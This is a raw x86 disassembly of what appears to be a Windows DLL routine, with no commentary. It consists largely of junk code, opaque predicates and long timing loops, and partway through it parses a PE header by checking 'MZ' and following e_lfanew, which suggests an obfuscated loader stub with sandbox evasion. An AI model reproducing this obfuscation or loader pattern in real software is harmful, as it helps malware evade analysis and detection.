mov dword [ebp - 0x9e8], 0
mov dword [ebp - 0x10f8], 0xfffffffd
mov dword [ebp - 0x14b4], 0x512a30a4
mov eax, dword [ebp - 0x164]
cmp dword [ebp - 0x23c], eax
jle 0x1003ea9e
mov dword [ebp - 0x9f0], 1
jmp 0x1003eaa5
and dword [ebp - 0x9f0], 0
mov dword [ebp - 0x9e8], 1
mov eax, dword [ebp - 0x9e8]
add eax, dword [ebp - 0x23c]
add eax, dword [ebp - 0x23c]
mov dword [ebp - 0x10f8], eax
mov eax, 0xa32a
sub eax, dword [ebp - 0x23c]
add eax, 0x1716e440
je 0x1003eaee
mov eax, 0x586f
test eax, eax
je 0x1003eaee
mov dword [ebp - 0xcb0], 1
jmp 0x1003eaf5
and dword [ebp - 0xcb0], 0
mov eax, dword [ebp - 0x23c]
cmp eax, dword [ebp - 0xcb0]
jg 0x1003eb0f
mov dword [ebp - 0xf6c], 1
jmp 0x1003eb16
and dword [ebp - 0xf6c], 0
mov eax, dword [ebp - 0x9f0]
sub eax, dword [ebp - 0xf6c]
mov dword [ebp - 0x14b4], eax
jmp 0x1003ef08
mov dword [ebp - 0xec8], 0
mov dword [ebp - 0x3c4], 0
jmp 0x1003eb50
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 1
jge 0x1003eb6c
mov eax, dword [ebp - 0x3c4]
mov dword [ebp + eax*4 - 0x760], 0xac8ef34e
jmp 0x1003eb43
mov dword [ebp - 0x164], 3
jmp 0x1003eb85
cmp dword [ebp - 0x164], 0
jl 0x1003ef08
push 2
lea ecx, [ebp - 0xfa4]
call fcn.100254f9
mov dword [ebp - 4], 0xe
mov dword [ebp - 0x1a60], 4
mov dword [ebp - 0x1b78], 0
mov dword [ebp - 0x1108], 0xfbe72f23
mov dword [ebp - 0xb0], 0
jmp 0x1003ebdd
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x1003ebfc
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xfa4]
call fcn.10025597
and dword [eax], 0
jmp 0x1003ebd0
mov dword [ebp - 0xb0], 0
jmp 0x1003ec15
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x1003ec31
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x1d5c], 0x44ed25e4
jmp 0x1003ec08
push 1
lea ecx, [ebp - 0xfa4]
call fcn.10025597
and dword [eax], 0
jmp 0x1003ec67
push 1
lea ecx, [ebp - 0xfa4]
call fcn.10025597
cmp dword [eax], 3
jg 0x1003eef4
and dword [ebp - 0x54c], 0
jmp 0x1003ef1e
cmp dword [ebp - 0x54c], 0xe
jae 0x1003f0ff
mov dword [ebp - 0x1548], 0x39b642c7
mov dword [ebp - 0x3cc], 0
jmp 0x1003ef4e
mov eax, dword [ebp - 0x3cc]
inc eax
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 3
jge 0x1003ef6a
mov eax, dword [ebp - 0x3cc]
mov dword [ebp + eax*4 - 0x1cdc], 0x3d837bc7
jmp 0x1003ef41
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x1548]
mov dword [ebp + eax - 0x1cdc], ecx
mov byte [ebp - 0x133], 0
mov dword [ebp - 0xa28], 0x7884
mov dword [ebp - 0x1458], 0x10009fe8
cmp dword [ebp - 0xa28], 0x7a08
jle 0x1003f0bf
and dword [ebp - 0x544], 0
jmp 0x1003efbe
movzx eax, byte [ebp - 0x133]
test eax, eax
je 0x1003f0d4
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x120], 0x176df7e
mov dword [ebp - 0x554], 0xa25a9550
mov dword [ebp - 0x76c], 0xb9d6240
mov dword [ebp - 0x177c], 2
mov dword [ebp - 0x1778], 2
mov dword [ebp - 0x1774], 2
mov dword [ebp - 0x1770], 2
lea ecx, [ebp - 0x6f5]
call fcn.100255a6
push eax
lea eax, [ebp - 0x176c]
push eax
lea eax, [ebp - 0x177c]
push eax
lea ecx, [ebp - 0x1d6c]
call fcn.100255a9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x19fc]
call fcn.10025555
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x720], 0x6d0c81cf
mov dword [ebp - 0x1a90], 9
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1b90], eax
cmp dword [ebp - 0x1c], 0x8065
jge 0x1003f1ba
mov dword [ebp - 0xcd0], 1
jmp 0x1003f1c1
and dword [ebp - 0xcd0], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xcd0], eax
jg 0x1003f1d8
mov dword [ebp - 0xa30], 1
jmp 0x1003f1df
and dword [ebp - 0xa30], 0
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0xa30]
jne 0x1003f1f6
mov dword [ebp - 0x1120], 1
jmp 0x1003f1fd
and dword [ebp - 0x1120], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x1aa0], eax
cmp dword [ebp - 0x1c], 1
jl 0x1003f5d5
mov dword [ebp - 0x68], 0x24a8c6a5
mov dword [ebp - 0xd88], 1
mov dword [ebp - 0x11d0], 0
mov dword [ebp - 0x14a8], 0xffff
mov dword [ebp - 0x18a8], 0xe467b47e
mov dword [ebp - 0x18a4], 0xe467b47e
mov dword [ebp - 0x18a0], 0xe467b47e
mov dword [ebp - 0x189c], 0xe467b47e
mov dword [ebp - 0x68], 0
jmp 0x10041a14
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xf
jle 0x10041aa2
mov dword [ebp - 0x634], 0x7b1891f7
mov dword [ebp - 0x4a4], 0
jmp 0x10041a41
mov eax, dword [ebp - 0x4a4]
inc eax
mov dword [ebp - 0x4a4], eax
cmp dword [ebp - 0x4a4], 1
jge 0x10041a5d
mov eax, dword [ebp - 0x4a4]
mov dword [ebp + eax*4 - 0x18c0], 0xfffb
jmp 0x10041a34
mov dword [ebp - 0x634], 0
jmp 0x10041a76
mov eax, dword [ebp - 0x634]
dec eax
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 0
jl 0x10041a9d
mov byte [ebp - 0x145], 0
movzx eax, byte [ebp - 0x145]
test eax, eax
je 0x10041a9b
push 0
push 0
call dword [sym.imp.GDI32.dll_SelectObject]
jmp 0x10041a69
jmp 0x10041a0d
mov dword [ebp - 0x68], 0
jmp 0x10041ab2
mov eax, dword [ebp - 0x68]
dec eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 0xffffffee
jg 0x10041c50
mov dword [ebp - 0xb88], 0xb4dfecbe
mov dword [ebp - 0xb98], 0x715ee56e
mov dword [ebp - 0x11dc], 0xdb6b7be2
mov dword [ebp - 0x4ac], 0
jmp 0x10041af3
mov eax, dword [ebp - 0x4ac]
inc eax
mov dword [ebp - 0x4ac], eax
cmp dword [ebp - 0x4ac], 1
jge 0x10041b0f
mov eax, dword [ebp - 0x4ac]
mov dword [ebp + eax*4 - 0x29c], 0xb1c0
jmp 0x10041ae6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
mov dword [ebp - 0x18c4], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x29c]
cmp dword [ebp + eax - 0x29c], ecx
jg 0x10041b8a
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x29c]
cmp dword [ebp - 0x11d0], eax
jne 0x10041b5f
mov dword [ebp - 0xe78], 1
jmp 0x10041b66
and dword [ebp - 0xe78], 0
mov eax, dword [ebp - 0xe78]
mov dword [ebp - 0xb88], eax
cmp dword [ebp - 0xb88], 0x3f91
jl 0x10041b8a
mov dword [ebp - 0xd80], 1
jmp 0x10041b91
and dword [ebp - 0xd80], 0
cmp dword [ebp - 0xd80], 0xfffffffd
jne 0x10041ba6
mov dword [ebp - 0xb90], 1
jmp 0x10041bad
and dword [ebp - 0xb90], 0
mov eax, dword [ebp - 0x68]
imul eax, dword [ebp - 0xb90]
test eax, eax
je 0x10041bcd
cmp dword [ebp - 0x68], 0
je 0x10041bcd
mov dword [ebp - 0xefc], 1
jmp 0x10041bd4
and dword [ebp - 0xefc], 0
mov dword [ebp - 0xd88], 0x10789328
mov eax, dword [ebp - 0xefc]
mov dword [ebp - 0xb98], eax
mov eax, dword [ebp - 0xb98]
cmp dword [ebp - 0xd88], eax
jle 0x10041c04
mov dword [ebp - 0xba0], 1
jmp 0x10041c0b
and dword [ebp - 0xba0], 0
mov eax, dword [ebp - 0x14a8]
cmp dword [ebp - 0xba0], eax
je 0x10041c25
mov dword [ebp - 0x780], 1
jmp 0x10041c2c
and dword [ebp - 0x780], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x780]
mov dword [ebp + eax - 0x18a8], ecx
mov eax, dword [ebp - 0x780]
mov dword [ebp - 0x11dc], eax
jmp 0x10041aab
mov eax, dword [0x1009a00c]
cmp eax, dword [ebp - 0x5a0]
je 0x10041c6a
mov eax, dword [0x1009a038]
cmp eax, dword [ebp - 0x5a0]
jne 0x10041c82
mov ecx, dword [ebp + 0xc]
call fcn.100252e9
push eax
push dword [ebp + 8]
call fcn.10033e7b
pop ecx
pop ecx
jmp 0x10048ea4
and dword [ebp - 0x1768], 0
and dword [ebp - 0x1764], 0
and dword [ebp - 0x1760], 0
and dword [ebp - 0x175c], 0
lea ecx, [ebp - 0x781]
call fcn.100255a6
push eax
lea eax, [ebp - 0x1758]
push eax
lea eax, [ebp - 0x1768]
push eax
lea ecx, [ebp - 0x1d94]
call fcn.100255a9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x1a5c]
call fcn.10025555
mov dword [ebp - 4], 0x21
mov dword [ebp - 0x20c], 0xffffffff
mov dword [ebp - 0x20c], 0
jmp 0x10041cfd
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 3
jg 0x10041d3a
mov byte [ebp - 0x147], 0
movzx eax, byte [ebp - 0x147]
test eax, eax
je 0x10041d20
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp - 0x20c]
lea ecx, [ebp - 0x1a5c]
call fcn.10025597
cmp dword [eax], 0
je 0x10041d38
jmp 0x10041cf0
jmp 0x10041cf0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1a5c]
call fcn.1002557b
mov dword [ebp - 0xe80], 0x890
mov dword [ebp - 0x11e8], 0x1000a300
cmp dword [ebp - 0xe80], 0xc43
jle 0x10041e87
and dword [ebp - 0x2c0], 0
jmp 0x10041d83
mov eax, dword [ebp - 0x2c0]
inc eax
mov dword [ebp - 0x2c0], eax
cmp dword [ebp - 0x2c0], 0x1cff
jge 0x10041e87
and dword [ebp - 0x2b8], 0
jmp 0x10041da9
mov eax, dword [ebp - 0x2b8]
inc eax
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0x2b30
jge 0x10041e82
and dword [ebp - 0x298], 0
jmp 0x10041dcf
mov eax, dword [ebp - 0x298]
inc eax
mov dword [ebp - 0x298], eax
cmp dword [ebp - 0x298], 0x6d9c
jge 0x10041e7d
and dword [ebp - 0x2b0], 0
jmp 0x10041df5
mov eax, dword [ebp - 0x2b0]
inc eax
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0x47ca
jge 0x10041e78
mov eax, dword [ebp - 0x298]
cdq
idiv dword [ebp - 0x2b0]
add edx, dword [ebp - 0x2b8]
mov eax, dword [ebp - 0x2c0]
mov ecx, edx
shl eax, cl
cdq
mov dword [ebp - 0x12c8], eax
mov dword [ebp - 0x12c4], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x18cc], eax
push dword [ebp - 0x12c4]
push dword [ebp - 0x12c8]
lea ecx, [ebp - 0x20bc]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1628], eax
mov ecx, dword [ebp - 0x1628]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x20bc]
call fcn.100252df
jmp 0x10041de8
jmp 0x10041dc2
jmp 0x10041d9c
jmp 0x10041d76
mov eax, dword [ebp + 8]
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0xe80], 0x7d4
jge 0x10041ea8
push dword [ebp - 0x11e8]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x14b0], 3
mov dword [ebp - 0x7d4], 0x647dc4b
mov dword [ebp - 0x7dc], 0xffffffff
mov dword [ebp - 0x11f4], 0xfffffff6
mov byte [ebp - 0x149], 0
movzx eax, byte [ebp - 0x149]
test eax, eax
je 0x10041ee8
call dword [sym.imp.KERNEL32.dll_GetACP]
mov eax, dword [ebp - 0x14b0]
mov dword [ebp - 0x7d4], eax
mov eax, dword [ebp - 0x7d4]
mov dword [ebp - 0x7dc], eax
mov eax, dword [ebp - 0x7dc]
mov dword [ebp - 0x11f4], eax
cmp dword [ebp - 0x318], 0
je 0x10048aa5
mov eax, dword [ebp - 0x318]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x10048aa5
mov dword [ebp - 0x7e4], 0x5b76
mov dword [ebp - 0x1200], 0x1000a360
cmp dword [ebp - 0x7e4], 0x5e2b
jle 0x10042068
and dword [ebp - 0x2c8], 0
jmp 0x10041f67
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0x66f9
jge 0x10042068
and dword [ebp - 0x2d0], 0
jmp 0x10041f8d
mov eax, dword [ebp - 0x2d0]
inc eax
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0x1e0
jge 0x10042063
and dword [ebp - 0x2d8], 0
jmp 0x10041fb3
mov eax, dword [ebp - 0x2d8]
inc eax
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x7faa
jge 0x1004205e
and dword [ebp - 0x2e0], 0
jmp 0x10041fd9
mov eax, dword [ebp - 0x2e0]
inc eax
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0x7381
jge 0x10042059
mov eax, dword [ebp - 0x2c8]
xor eax, dword [ebp - 0x2d0]
mov ecx, dword [ebp - 0x2d8]
and ecx, dword [ebp - 0x2e0]
xor eax, ecx
cdq
mov dword [ebp - 0x12d4], eax
mov dword [ebp - 0x12d0], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x18d4], eax
push dword [ebp - 0x12d0]
push dword [ebp - 0x12d4]
lea ecx, [ebp - 0x1e04]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1590], eax
mov ecx, dword [ebp - 0x1590]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1e04]
call fcn.100252df
jmp 0x10041fcc
jmp 0x10041fa6
jmp 0x10041f80
jmp 0x10041f5a
cmp dword [ebp - 0x7e4], 0x592f
jge 0x10042080
push dword [ebp - 0x1200]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x1c0], 0xffff
push 2
lea ecx, [ebp - 0x1710]
call fcn.100254f9
mov dword [ebp - 4], 0x22
mov dword [ebp - 0x18dc], 0xffffffff
mov dword [ebp - 0x2e8], 0
jmp 0x100420c1
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 2
jge 0x100420e3
push dword [ebp - 0x2e8]
lea ecx, [ebp - 0x1710]
call fcn.10025597
mov dword [eax], 0xebb6748f
jmp 0x100420b4
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
mov dword [ebp - 0x1c0], 0xfffffff4
jmp 0x10042109
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 0x2f
jne 0x1004242a
mov dword [ebp - 0x214], 0x814b733c
mov dword [ebp - 0x214], 0
jmp 0x10042139
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 1
jg 0x10042425
mov dword [ebp - 0x108], 0xfffffff8
mov dword [ebp - 0x108], 0
jmp 0x10042169
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 1
jg 0x100421ca
mov dword [ebp - 0x240], 0xffffffff
mov dword [ebp - 0x240], 1
jmp 0x10042195
mov eax, dword [ebp - 0x240]
dec eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 0
jl 0x100421c8
push dword [ebp - 0x240]
lea ecx, [ebp - 0x1710]
call fcn.10025597
mov esi, eax
push dword [ebp - 0x214]
lea ecx, [ebp - 0x1710]
call fcn.10025597
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x10042188
jmp 0x1004215c
mov dword [ebp - 0x7f4], 0x7837
mov dword [ebp - 0x1218], 0x1000a388
cmp dword [ebp - 0x7f4], 0x791d
jle 0x100422a0
and dword [ebp - 0x2f0], 0
jmp 0x10042204
mov eax, dword [ebp - 0x2f0]
inc eax
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2f0], 0x5cf7
jge 0x100422a0
and dword [ebp - 0x2f8], 0
jmp 0x1004222a
mov eax, dword [ebp - 0x2f8]
inc eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], 0x25f
jge 0x1004229b
mov eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp - 0x2f8]
shl eax, cl
cdq
mov dword [ebp - 0x12e0], eax
mov dword [ebp - 0x12dc], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x18e4], eax
push dword [ebp - 0x12dc]
push dword [ebp - 0x12e0]
lea ecx, [ebp - 0x1e1c]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x14b8], eax
mov ecx, dword [ebp - 0x14b8]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1e1c]
call fcn.100252df
jmp 0x1004221d
jmp 0x100421f7
mov dword [ebp - 0x108], 1
jmp 0x100422b9
mov eax, dword [ebp - 0x108]
dec eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
jl 0x10042408
mov byte [ebp - 0x186], 0
mov dword [ebp - 0x7ec], 0x4931
mov dword [ebp - 0x164c], 0x1000a3d0
cmp dword [ebp - 0x7ec], 0x4c1b
jle 0x100423d8
and dword [ebp - 0x310], 0
jmp 0x10042307
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 0x69cd
jge 0x100423d8
and dword [ebp - 0x300], 0
jmp 0x1004232d
mov eax, dword [ebp - 0x300]
inc eax
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0x3745
jge 0x100423d3
and dword [ebp - 0x308], 0
jmp 0x10042353
mov eax, dword [ebp - 0x308]
inc eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0x7c32
jge 0x100423ce
mov eax, dword [ebp - 0x300]
cdq
idiv dword [ebp - 0x308]
add edx, dword [ebp - 0x310]
mov eax, edx
cdq
mov dword [ebp - 0x12ec], eax
mov dword [ebp - 0x12e8], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x18ec], eax
push dword [ebp - 0x12e8]
push dword [ebp - 0x12ec]
lea ecx, [ebp - 0x1e40]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x120c], eax
mov ecx, dword [ebp - 0x120c]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1e40]
call fcn.100252df
jmp 0x10042346
jmp 0x10042320
jmp 0x100422fa
movzx eax, byte [ebp - 0x186]
test eax, eax
je 0x100423eb
push 0
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
cmp dword [ebp - 0x7ec], 0x4898
jge 0x10042403
push dword [ebp - 0x164c]
call fcn.1008287d
pop ecx
jmp 0x100422ac
cmp dword [ebp - 0x7f4], 0x74e0
jge 0x10042420
push dword [ebp - 0x1218]
call fcn.1008287d
pop ecx
jmp 0x1004212c
jmp 0x100420fc
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1710]
call fcn.1002557b
mov eax, dword [ebp - 0x318]
mov ecx, dword [ebp - 0x318]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x228], ecx
mov dword [ebp - 0x194], 0x9fdf99ff
push 1
lea ecx, [ebp - 0xf38]
call fcn.100254f9
mov dword [ebp - 4], 0x23
or dword [ebp - 0x1790], 0xffffffff
or dword [ebp - 0x178c], 0xffffffff
or dword [ebp - 0x1788], 0xffffffff
or dword [ebp - 0x1784], 0xffffffff
lea ecx, [ebp - 0x784]
call fcn.100255a6
push eax
lea eax, [ebp - 0x1780]
push eax
lea eax, [ebp - 0x1790]
push eax
lea ecx, [ebp - 0x1d64]
call fcn.100255a9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x16a4]
call fcn.10025555
mov byte [ebp - 4], 0x24
mov dword [ebp - 0x320], 0
jmp 0x100424da
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 1
jge 0x100424f9
push dword [ebp - 0x320]
lea ecx, [ebp - 0xf38]
call fcn.10025597
or dword [eax], 0xffffffff
jmp 0x100424cd
mov dword [ebp - 0x194], 0
jmp 0x10042512
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0xe
jne 0x10042b5f
mov dword [ebp - 0x7fc], 0x2df6
mov dword [ebp - 0x1224], 0x1000a430
cmp dword [ebp - 0x7fc], 0x2f90
jle 0x100425f3
and dword [ebp - 0x328], 0
jmp 0x10042559
mov eax, dword [ebp - 0x328]
inc eax
mov dword [ebp - 0x328], eax
cmp dword [ebp - 0x328], 0x2ed6
jge 0x100425f3
and dword [ebp - 0x330], 0
jmp 0x1004257f
mov eax, dword [ebp - 0x330]
inc eax
mov dword [ebp - 0x330], eax
cmp dword [ebp - 0x330], 0x3b05
jge 0x100425ee
mov eax, dword [ebp - 0x328]
xor eax, dword [ebp - 0x330]
cdq
mov dword [ebp - 0x12f8], eax
mov dword [ebp - 0x12f4], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x18f4], eax
push dword [ebp - 0x12f4]
push dword [ebp - 0x12f8]
lea ecx, [ebp - 0x1e70]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x14c0], eax
mov ecx, dword [ebp - 0x14c0]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1e70]
call fcn.100252df
jmp 0x10042572
jmp 0x1004254c
mov dword [ebp - 0x4c], 0x1d91
cmp dword [ebp - 0x7fc], 0x2bfc
jge 0x10042612
push dword [ebp - 0x1224]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x18], 0xe1d82c32
mov dword [ebp - 0x844], 0xffffffff
mov dword [ebp - 0x78c], 0x5c3c62ed
mov dword [ebp - 0x14c8], 0x18e0da53
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x18fc], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x1904], eax
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], eax
jne 0x10042660
mov dword [ebp - 0x804], 1
jmp 0x10042667
and dword [ebp - 0x804], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x804], eax
je 0x1004267e
mov dword [ebp - 0x80c], 1
jmp 0x10042685
and dword [ebp - 0x80c], 0
cmp dword [ebp - 0x80c], 0x292c5eb2
jl 0x1004269d
mov dword [ebp - 0x814], 1
jmp 0x100426a4
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x814], eax
jl 0x100426bb
mov dword [ebp - 0x81c], 1
jmp 0x100426c2
and dword [ebp - 0x81c], 0
cmp dword [ebp - 0x81c], 0xb6ec79cf
jae 0x100426da
mov dword [ebp - 0x824], 1
jmp 0x100426e1
and dword [ebp - 0x824], 0
mov eax, dword [ebp - 0x824]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp - 0x194]
add eax, dword [ebp - 0x4c]
mov dword [ebp - 0x748], eax
push 0
lea ecx, [ebp - 0xf38]
call fcn.10025597
mov ecx, dword [ebp - 0x748]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x16a4]
call fcn.10025597
mov ecx, dword [ebp - 0x748]
mov dword [eax], ecx
cmp dword [ebp - 0x748], 0
je 0x10042843
mov dword [ebp - 0x338], 0
jmp 0x1004274d
mov eax, dword [ebp - 0x338]
inc eax
mov dword [ebp - 0x338], eax
cmp dword [ebp - 0x338], 3
jge 0x10042769
mov eax, dword [ebp - 0x338]
mov dword [ebp + eax*4 - 0x1a6c], 0xbb002891
jmp 0x10042740
mov dword [ebp - 0x18], 3
jmp 0x10042779
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x100427f0
mov dword [ebp - 0x15a0], 0xe401d933
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1a6c]
cmp dword [ebp + eax - 0x1a6c], ecx
jl 0x100427b0
mov dword [ebp - 0x82c], 1
jmp 0x100427b7
and dword [ebp - 0x82c], 0
push dword [ebp - 0x18]
lea ecx, [ebp - 0x16a4]
call fcn.10025597
mov eax, dword [eax]
cmp eax, dword [ebp - 0x82c]
je 0x100427db
mov dword [ebp - 0x834], 1
jmp 0x100427e2
and dword [ebp - 0x834], 0
mov eax, dword [ebp - 0x834]
mov dword [ebp - 0x15a0], eax
jmp 0x10042772
mov dword [ebp - 0x18], 0
jmp 0x10042800
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffe4
jge 0x1004283e
mov dword [ebp - 0x4c], 0
jmp 0x10042816
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 3
jg 0x1004283c
mov byte [ebp - 0x131], 0
movzx eax, byte [ebp - 0x131]
test eax, eax
je 0x1004283a
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1004280f
jmp 0x100427f9
jmp 0x10042a4b
mov dword [ebp - 0x340], 0
jmp 0x1004285c
mov eax, dword [ebp - 0x340]
inc eax
mov dword [ebp - 0x340], eax
cmp dword [ebp - 0x340], 1
jge 0x10042878
mov eax, dword [ebp - 0x340]
mov dword [ebp + eax*4 - 0x290], 9
jmp 0x1004284f
mov dword [ebp - 0x18], 0
jmp 0x10042888
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xfffffff3
jge 0x100428ac
push 0
lea ecx, [ebp - 0xf38]
call fcn.10025597
cmp dword [eax], 0
je 0x100428a2
jmp 0x100428ac
cmp dword [ebp - 0x4c], 0
je 0x100428aa
jmp 0x100428ac
jmp 0x10042881
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x290]
push 0
lea ecx, [ebp - 0xf38]
call fcn.10025597
cmp esi, dword [eax]
jg 0x100428d6
mov dword [ebp - 0x83c], 1
jmp 0x100428dd
and dword [ebp - 0x83c], 0
mov eax, dword [ebp - 0x83c]
mov dword [ebp - 0x844], eax
cmp dword [ebp - 0x844], 0
jne 0x1004290d
push 0
lea ecx, [ebp - 0xf38]
call fcn.10025597
cmp dword [eax], 0
jne 0x1004290d
and dword [ebp - 0x84c], 0
jmp 0x10042917
mov dword [ebp - 0x84c], 1
mov eax, dword [ebp - 0x78c]
mov ecx, dword [ebp - 0x84c]
lea eax, [ecx + eax - 0x7a397548]
cmp eax, 0xb0c7
jne 0x1004293d
mov dword [ebp - 0x854], 1
jmp 0x10042944
and dword [ebp - 0x854], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x290]
cmp dword [ebp - 0x854], eax
jge 0x10042965
mov dword [ebp - 0x85c], 1
jmp 0x1004296c
and dword [ebp - 0x85c], 0
mov esi, dword [ebp - 0x78c]
add esi, dword [ebp - 0x85c]
push 0
lea ecx, [ebp - 0xf38]
call fcn.10025597
cmp esi, dword [eax]
je 0x10042995
mov dword [ebp - 0x1230], 1
jmp 0x1004299c
and dword [ebp - 0x1230], 0
mov eax, dword [ebp - 0x14c8]
mov dword [ebp - 0x190c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x290], 0xedbc
jl 0x100429c7
mov dword [ebp - 0x123c], 1
jmp 0x100429ce
and dword [ebp - 0x123c], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1914], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x191c], eax
imul esi, dword [ebp - 0x78c], 0xffff
push 0
lea ecx, [ebp - 0x16a4]
call fcn.10025597
cmp esi, dword [eax]
je 0x10042a07
mov dword [ebp - 0x864], 1
jmp 0x10042a0e
and dword [ebp - 0x864], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x290]
cmp dword [ebp - 0x864], eax
jl 0x10042a2f
mov dword [ebp - 0x86c], 1
jmp 0x10042a36
and dword [ebp - 0x86c], 0
push 0
lea ecx, [ebp - 0xf38]
call fcn.10025597
